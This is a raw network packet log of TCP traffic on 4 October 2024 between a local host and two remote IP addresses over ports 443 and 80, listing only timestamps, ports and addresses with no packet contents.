Oct 4, 2024 11:22:58.730115891 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.730123997 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.730184078 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.731534004 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.731575966 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.731646061 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.731652975 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.731705904 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.732791901 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.732820988 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.732878923 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.732886076 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.732928038 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.734679937 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.734699011 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.734757900 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.734770060 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.734807968 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.735702038 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.735718012 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.735785007 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.735800028 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.735860109 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.737298965 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.737315893 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.737380981 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.737395048 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.737458944 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.738075018 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.738092899 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.738148928 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.738162041 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.738195896 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.738231897 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.817531109 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.817550898 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.817683935 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.817704916 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.817797899 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.818698883 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.818715096 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.818783045 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.818795919 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.818847895 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.820554018 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.820569038 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.820643902 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.820660114 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.820739031 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.821449041 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.821465015 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.821527958 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.821542025 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.821571112 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.821595907 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.823455095 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.823471069 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.823534966 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.823549032 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.823600054 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.824762106 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.824776888 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.824840069 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.824853897 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.824907064 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.826384068 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.826399088 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.826467991 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.826481104 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.826541901 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.827589035 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.827605009 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.827666998 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.827680111 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.827743053 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.906749964 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.906766891 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.906861067 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.906892061 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.906945944 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.908160925 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.908178091 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.908246040 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.908261061 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.908315897 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.908818960 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.908838034 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.908899069 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.908912897 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.908973932 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.910417080 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.910433054 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.910496950 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.910511971 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.910566092 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.911544085 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.911557913 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.911616087 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.911631107 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.911696911 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.914510965 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.914525986 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.914597034 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.914618969 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.914668083 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.915570021 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.915584087 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.915642977 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.915657043 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.915719986 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.916559935 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.916584015 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.916635036 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.916649103 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.916675091 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.916695118 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.995640993 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.995656967 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.995748043 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.995774031 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.995876074 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.996712923 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.996727943 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.996794939 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.996812105 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.996869087 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.998042107 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.998056889 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.998130083 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.998147964 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.998209953 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.999517918 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.999545097 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.999593019 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.999607086 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.999634027 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.999654055 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.000920057 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.000936031 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.001003027 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.001017094 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.001091003 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.002183914 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.002201080 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.002255917 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.002269983 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.002295971 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.002314091 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.003232956 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.003251076 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.003314018 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.003328085 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.003376007 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.004698038 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.004714966 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.004777908 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.004792929 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.004844904 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.087018013 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.087033987 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.087209940 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.087240934 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.087323904 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.088926077 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.088942051 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.089014053 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.089029074 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.089086056 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.089936018 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.089951038 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.090023994 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.090037107 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.090102911 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.091368914 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.091449022 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.091468096 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.091507912 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.091521025 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:59.091541052 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.091568947 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.091960907 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:59.134609938 CEST	49736	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:59.144602060 CEST	80	49736	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:59.144778013 CEST	49736	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:59.144855022 CEST	49736	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:59.154885054 CEST	80	49736	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:59.830431938 CEST	80	49736	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:59.831556082 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:59.831604004 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:59.831676006 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:59.831968069 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:59.831980944 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:59.879942894 CEST	49736	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:00.522228003 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:00.523726940 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:00.523741007 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:01.302577972 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:01.302680016 CEST	443	49737	188.114.96.3	192.168.2.4
Oct 4, 2024 11:23:01.302789927 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:01.303145885 CEST	49737	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:23:01.304166079 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:01.304213047 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:01.304275990 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:01.304495096 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:01.304514885 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:01.813806057 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:01.815502882 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:01.815536976 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.701625109 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.701688051 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.701739073 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.701765060 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.701766014 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.701786041 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.701817036 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.701843023 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.701877117 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.702013969 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.702013969 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.702014923 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.702028990 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.707009077 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.707073927 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.707082033 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.755090952 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.791897058 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.791961908 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.791991949 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.792017937 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.792092085 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.792121887 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.792160034 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.792386055 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.792438030 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.792445898 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.793076038 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.793148041 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.793155909 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.793163061 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.793204069 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.793204069 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.793219090 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.793255091 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.793864012 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.793993950 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.794044971 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.794051886 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.794351101 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.794400930 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.794406891 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.794586897 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.794635057 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.794641018 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.795340061 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.795373917 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.795403957 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.795411110 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.795469046 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.795520067 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.797117949 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.797175884 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.797198057 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.848757982 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.883389950 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.883460045 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.883495092 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.883533001 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.883766890 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.883766890 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.883801937 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.883827925 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.883889914 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.883896112 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.883904934 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.883943081 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.883949041 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.884016991 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.884022951 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.884370089 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.884414911 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.884434938 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.884442091 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.884466887 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.885152102 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.885195971 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.885214090 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.885221958 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.885251999 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.885560036 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.885613918 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.885622025 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.885670900 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.886095047 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.886145115 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.886167049 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.886174917 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.886188030 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.886204958 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.886238098 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.886243105 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.886820078 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.886871099 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.886878014 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.886885881 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.886934042 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.974179029 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.974248886 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.974277973 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.974286079 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.974299908 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.974349022 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.974715948 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.974778891 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.975294113 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.975330114 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.975357056 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.975367069 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.975409985 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.975447893 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.975545883 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.975619078 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.976187944 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.976226091 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.976249933 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.976258039 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.976269007 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.976286888 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.976320028 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.976325035 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.976371050 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:02.976648092 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.976697922 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:02.976717949 CEST	49738	443	192.168.2.4	188.114.97.3
